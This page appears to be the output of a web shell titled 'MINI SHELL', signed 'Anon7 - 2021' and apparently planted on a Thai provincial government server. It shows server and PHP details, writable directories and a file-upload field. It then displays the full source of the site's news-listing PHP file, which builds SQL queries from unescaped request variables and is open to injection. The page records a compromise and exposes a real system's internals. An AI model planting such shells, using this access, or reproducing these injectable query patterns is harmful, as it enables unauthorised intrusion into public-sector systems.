MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/information/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/information/information_view2.php
<?php
	include("../../config/config.inc.php");
	include("../../libary/function.php"); 
	$epage=5;
	
	if(!isset($page) || $page == 0){ $page = 1; }
	$i=($page-1)*$epage;
	
	if($keyword == ""){ 
			if($type == ""){
				$where = " where $admchk "; 
				$kwd = "";
			} else {
				$where = " where $admchk and type = '$type' ";
				$kwd = "&type=".$type ;
			}
} else { 
		if($type == ""){
			$where = " where $admchk and $topic like '%$keyword%' "; 
			$kwd = "&keyword=".$keyword."&topic=".$topic ;
		} else {
			$where = " where $admchk and $topic like '%$keyword%' and type = '$type' ";		
			$kwd = "&keyword=".$keyword."&topic=".$topic."&type=".$type ;
		}	
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<title>ระบบจัดการข้อมูลข่าวประชาสัมพันธ์</title>
<link href="../../libary/style.css" rel="stylesheet" type="text/css">
<style>
	body{
	font-family:Tahoma, sans-serif, Arial;
	font-size: 12px;
	margin: 0 0;
	padding:0 0;
}
.normal_blue {
	font-size: 12px;
	color:#006699;
}
.normal{
		font-size: 12px;
}
.input{
	background-color:#FFFFFF;
	color:#666666;
	border:#CCCCCC solid 1px;
}

.blue{
	color:#0280D5;
	font-size:12px;
}

.orange{
	color:#FF6600;
	font-size:12px;
}
.mwarn,warn:link{
	color:#cc3300;
	font-size:12px;
	text-decoration:none;
}

.warn:visited{
	color:#cc3300;
	font-size:12px;
	text-decoration:none;
}

.style_white:visited {
font-size:12px;
color:#FFFFFF;
font-weight:bold;
}

.style_white:hover {
font-size:12px;
color:#FFCC00;
font-weight:bold;
}

#page{
	font-size:12px;
}

#page a:link{
	color:#999999;
	text-decoration:none;
}


#page a:visited{
	color:#999999;
	text-decoration:none;
}



body {  margin: 0px  0px; padding: 0px  0px}
a:link { color: #005CA2; text-decoration: none}
a:visited { color: #005CA2; text-decoration: none}
a:active { color: #0099FF; text-decoration: underline}
a:hover { color: #0099FF; text-decoration: underline}
.style2 {color: #000000}
-->
a.inmain_link:link,a.inmain_link:visited{
	color:#2176A8;
	text-decoration:none;

}
a.inmain_link:hover{
	color:#B0F3FF;
	text-decoration:underline;
}


</style>
<script language="javascript" src="../../libary/bbcode.js"></script>
<?

function show_img($id){
$n = 0;
$sql = mysql_query("select location from `news_pic` where nid = '$id' and show_pic='1' ");
$pnum = mysql_num_rows($sql);
if($pnum > 1){


echo "<script language=\"JavaScript\">";
echo "var slideShowSpeed = 4000;";
echo "var crossFadeDuration = 1;";
echo "var Pic = new Array();";

while($rs = mysql_fetch_array($sql, MYSQL_ASSOC)){

	$image = "../../images/news/".$rs['location'];
	echo "Pic[$n] = '$image'; ";	
	$n = $n + 1;
	
}
//mysql_free_result($sql);


echo "var t;";
echo "var j = 0;";
echo "var p = Pic.length;";
echo "var preLoad = new Array();";
echo "for (i = 0; i < p; i++) {";
echo "preLoad[i] = new Image();";
echo "preLoad[i].src = Pic[i];";
echo "}";
echo "function runSlideShow() {";
echo "if (document.all) {";
echo "document.images.SlideShow.style.filter=\"blendTrans(duration=2)\";";
echo "document.images.SlideShow.style.filter=\"blendTrans(duration=crossFadeDuration)\";";
echo "document.images.SlideShow.filters.blendTrans.Apply();";
echo "}";
echo "document.images.SlideShow.src = preLoad[j].src;";
echo "if (document.all) {";
echo "document.images.SlideShow.filters.blendTrans.Play();";
echo "}";
echo "j = j + 1;";	
echo "if (j > (p - 1)) j = 0;";
echo "t = setTimeout('runSlideShow()', slideShowSpeed);";
echo "}";
echo "</script>";

} elseif($pnum == 1){

	while($rs = mysql_fetch_assoc($sql)){
	$image = "../../images/news/".$rs[location];
	}
	
} else {

	$nopic = "y";

}

if($nopic != "y"){
return frameimg("<img src=\"".$image."\" name=\"SlideShow\" border=\"0\" width=\"100\" height=\"70\">");
}else{
return frameimg(" ");
}


}// function show_img(){


$onload = "onLoad=\"runSlideShow()\"";





?>
</head>
<body <?//=$onload?>>
<?php  
		
		$where = "where news.type='1' AND news.view='1' AND news.status <> '1'";
		$page=$_GET['page'];
		
		if(empty($page)){
			$page=1;
		}
		
		if($_GET['boardid'] != ''){
			switch($_GET['boardid']){
				case '1':  $where .= " AND  dashboard_type.dashboard_type =  '1'"; break;
				case '2':  $where .= " AND  dashboard_type.dashboard_type =  '2'"; break;
			}
		}
		
		//$sql="select count(topic) from news $where";
		$sql = "SELECT
						news.id,
						news.refid,
						news.`type`,
						news.topic,
						news.detail,
						news.stamp,
						news.author,
						news.staffid,
						news.layout,
						news.view,
						news.`status`,
						news.attach,
						news.show_pic
						FROM
						news
						Inner Join app_list_dashboard ON news.staffid = app_list_dashboard.staff_id
						Inner Join dashboard_type ON app_list_dashboard.dashboard_id = dashboard_type.id
						$where
						";
		//echo $sql;				
		$query=mysql_query($sql);
		list($all_row)=mysql_fetch_row($query);
		$per_page=5;
		$total_page=ceil($all_row/$per_page);
		
		$pre_page=$page-1;
		$next_page=$page+1;
		$prev = "self.location='".$PHP_SELF."?type=1&view=1&page=$pre_page'";
		$next = "self.location='".$PHP_SELF."?type=1&view=1&page=$next_page'";
		$prevTen = "self.location='".$PHP_SELF."?type=1&view=1&page=1'";
		$nextTen = "self.location='".$PHP_SELF."?type=1&view=1&page=$total_page'";

?>
<br />
<table width="98%" align="center">
  <tr>
    <td align="right"  class="normal_blue" style="border-top:#0099FF dotted 1px; padding:10px;">ข่าว 5 อันดับล่าสุด || <a href="http://www.rayong.go.th/activity/activity_home.html" target="_blank">ดูข่าวในระบบเดิม</a>|| <a href="public2.php" target="_blank">ดูข่าวทั้งหมด</a> </td>
  </tr>
</table>
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr><td>
<table width="100%" border="0" cellspacing="0" cellpadding="3">

<?
$begin=$page-1;
$i=($page-1)*$per_page;
$sql .= "  GROUP BY id  ORDER BY id DESC LIMIT $begin,$per_page";
$result = mysql_query($sql)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($rs = mysql_fetch_assoc($result)){
	$id = $rs[id];
	$stamp = $rs[stamp];
	$today = time();
	
	list($day,$hour)=explode(" ",$stamp);
	list($yy,$mm,$dd)=explode("-",$day);
	list($h,$m,$s)=explode(":",$hour);
	
	$dd=(int)$dd;
	$mm=(int)$mm;
	$h=(int)$h;
	$m=(int)$m;
	$s=(int)$s;
	
	$public_day=mktime($h,$m,$s,$mm,$dd,$yy);
	$diff=$today-$public_day;
	
	$seven_day=604800;

	if($a <= $today) { echo $a; }else { echo "----".$stamp;}
	$bgcolor = ($bgcolor == "#f8f8f8") ? "#ffffff" : "#f8f8f8";
	if($diff<=$seven_day){ $i_new = "<img src='../../images_sys/new1.gif' border='0'>";}else{ $i_new = "";}
	$cdetail = "คลิ๊กเพื่อดูรายละเอียด $i_new";
	
	$sql2 = "SELECT DISTINCT nid, location FROM news_pic where nid=$id and show_pic='1'";
	$result2 = mysql_query($sql2);
	$r = mysql_fetch_assoc($result2);

	
	if($r[location] != ""){		
			if($_GET['boardid'] == '' || $_GET['boardid'] == '1'){
	?>
	<tr class="normal" bgcolor="<?=$bgcolor?>">
		<td  align="center"  class="normal_blue" style="border-top:#0099FF dotted 1px;"><?=show_img($rs[id]);?></td>
		<td width="80%" height="100px" align="left" class="normal_blue" style="border-top:#0099FF dotted 1px; padding:10px;">&nbsp;<? echo "$rs[topic] <a href='information_view_detail.php?id=$rs[id]&action=view' target='_blank'>$cdetail</a>";?></td>
	</tr>
	<?
			}else{
	?>
	<tr class="normal" bgcolor="<?=$bgcolor?>">
		<td width="100%"  align="left" valign="top" class="normal_blue" style="border-top:#0099FF dotted 1px; padding:45px" colspan="2">&nbsp;<? echo "$rs[topic] <a href='information_view_detail.php?id=$rs[id]&action=view' target='_blank'>$cdetail</a>";?></td>
	</tr>
	<?
			}
	}else{
	?>
	<tr class="normal" bgcolor="<?=$bgcolor?>">
		<td width="100%"  align="left" valign="top" class="normal_blue" style="border-top:#0099FF dotted 1px; padding:45px" colspan="2">&nbsp;<? echo "$rs[topic] <a href='information_view_detail.php?id=$rs[id]&action=view' target='_blank'>$cdetail</a>";?></td>
	</tr>
	<?
	}
	
}
mysql_free_result($result);
?>
	
<tr><td colspan="2" align="center"  class="normal_blue" style="border-top:#0099FF dotted 1px;">&nbsp;</td></tr>
</table>	
</td>
</tr>
</table>
</body>
</html>

Anon7 - 2021